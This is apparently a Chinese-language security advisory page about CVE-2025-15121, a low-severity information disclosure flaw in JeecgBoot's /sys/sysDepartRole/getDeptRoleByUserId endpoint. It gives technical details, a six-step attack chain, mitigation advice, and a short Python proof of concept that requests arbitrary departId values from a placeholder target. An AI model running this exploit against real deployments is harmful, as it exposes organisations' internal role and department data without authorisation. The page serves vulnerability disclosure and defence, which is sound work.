IPBUF安全漏洞报告
English
CVE-2025-15121 CVSS 2.4 低危

CVE-2025-15121 JeecgBoot getDeptRoleByUserId 信息泄露漏洞

披露日期: 2025-12-28

漏洞信息

漏洞编号
CVE-2025-15121
漏洞类型
信息泄露
CVSS评分
2.4 低危
攻击向量
邻接 (AV:A)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
JeecgBoot

相关标签

信息泄露JeecgBoot权限绕过低代码平台CVE-2025-15121邻接网络攻击API安全

漏洞概述

CVE-2025-15121是JeecgBoot企业级低代码平台中的一个信息泄露漏洞。该漏洞存在于/sys/sysDepartRole/getDeptRoleByUserId接口的getDeptRoleByUserId函数中,攻击者可以通过操控departId参数来获取系统敏感信息。JeecgBoot是一款基于SpringBoot、SpringCloud和Vue等主流技术栈构建的企业级低代码开发平台,广泛应用于企业信息化系统建设。由于该漏洞影响版本最高至3.9.0,且CVSS评分仅为2.4,属于低危级别,攻击者需要具备高权限才能利用此漏洞,但无需用户交互即可触发。漏洞可导致组织架构信息、部门角色关联数据等敏感信息泄露,可能为后续攻击提供情报支持。

技术细节

该漏洞属于API接口参数操控导致的信息泄露问题。漏洞点位于JeecgBoot系统的部门角色管理模块,具体为getDeptRoleByUserId函数。在处理用户请求时,系统通过departId参数查询部门角色信息,但由于权限验证不严格,具备高权限的攻击者可以通过修改departId参数值,访问本无权访问的其他部门数据。攻击者只需构造恶意请求包,将目标部门ID作为departId参数值,即可获取该部门下的角色配置信息、用户部门关联数据等敏感内容。由于攻击向量为邻接网络(AV:A),攻击者需要处于目标网络邻接位置或具有网络访问权限。

攻击链分析

STEP 1
1
攻击者获得JeecgBoot系统的高权限账户或会话
STEP 2
2
攻击者发现/sys/sysDepartRole/getDeptRoleByUserId接口
STEP 3
3
攻击者构造恶意请求,通过departId参数指定目标部门ID
STEP 4
4
系统未正确校验权限,返回该部门的角色配置信息
STEP 5
5
攻击者获取部门角色数据、用户部门关联等敏感信息
STEP 6
6
利用泄露信息进行进一步攻击或数据收集

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-15121 PoC - JeecgBoot Information Disclosure # Target: JeecgBoot up to version 3.9.0 # Endpoint: /sys/sysDepartRole/getDeptRoleByUserId TARGET_URL = "http://target-server.com" DEPART_ID = "1" # Target department ID to enumerate def exploit_cve_2025_15121(): """ Exploit for CVE-2025-15121: Information Disclosure via departId parameter Vulnerability Details: - Affected Component: getDeptRoleByUserId function - File: /sys/sysDepartRole/getDeptRoleByUserId - Issue: Insufficient authorization check on departId parameter """ endpoint = f"{TARGET_URL}/sys/sysDepartRole/getDeptRoleByUserId" # Construct malicious request with arbitrary departId params = { "departId": DEPART_ID # Manipulate department ID } headers = { "Content-Type": "application/json", # Add authentication headers if required # "Authorization": "Bearer <token>" } try: response = requests.get(endpoint, params=params, headers=headers, timeout=10) if response.status_code == 200: data = response.json() print(f"[+] Request successful - Department ID: {DEPART_ID}") print(f"[+] Response: {data}") return data else: print(f"[-] Request failed - Status: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("CVE-2025-15121 - JeecgBoot Information Disclosure PoC") print("=" * 60) exploit_cve_2025_15121()

影响范围

JeecgBoot < 3.9.0
JeecgBoot 3.9.0

防御指南

临时缓解措施
在官方修复方案发布前,可通过以下措施进行临时缓解:1) 限制/sys/sysDepartRole/getDeptRoleByUserId接口的网络访问,仅允许受信任的IP地址访问;2) 加强对高权限账户的安全管理,启用多因素认证;3) 部署WAF规则监控和阻断异常的departId参数请求;4) 定期审计系统日志,及时发现可疑的数据访问行为;5) 实施最小权限原则,限制用户对部门数据的访问范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表